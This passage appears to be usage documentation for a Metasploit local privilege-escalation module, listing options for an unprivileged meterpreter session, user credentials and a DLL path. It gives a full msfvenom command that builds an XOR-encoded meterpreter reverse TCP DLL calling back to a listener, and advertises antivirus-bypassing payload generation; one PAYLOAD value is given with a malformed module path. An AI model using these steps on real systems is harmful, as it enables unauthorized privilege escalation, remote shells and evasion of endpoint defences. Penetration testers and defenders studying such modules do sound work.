• SESSION => Current meterpreter session for unprivileged user.
• USERNAME => This is the username for an unprivileged user.
• PASSWORD => This is the password for the same unprivileged user.
• DOMAIN => This is the domain name the unprivileged user is under.
• DLLPATH => This is a local path to the meterpreter reverse tcp dll.

Be sure to set PAYLOAD to a second stage meterpreter reverse tcp for the elevated connect back with:

• PAYLOAD => exploit/windows/meterpreter/reverse_tcp
• LHOST => Same LHOST as used for DLL
• LPORT => Same LPORT as used for DLL

The DLL can be generated with:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=4443 -e x64/xor -f dll -o payload.dll

Where LHOST is your meterpreter reverse tcp listener IP, and LPORT is the port.

Auto-generated OTP encoded polarbear.exe and second stage DLL with antivirus bypassing techniques.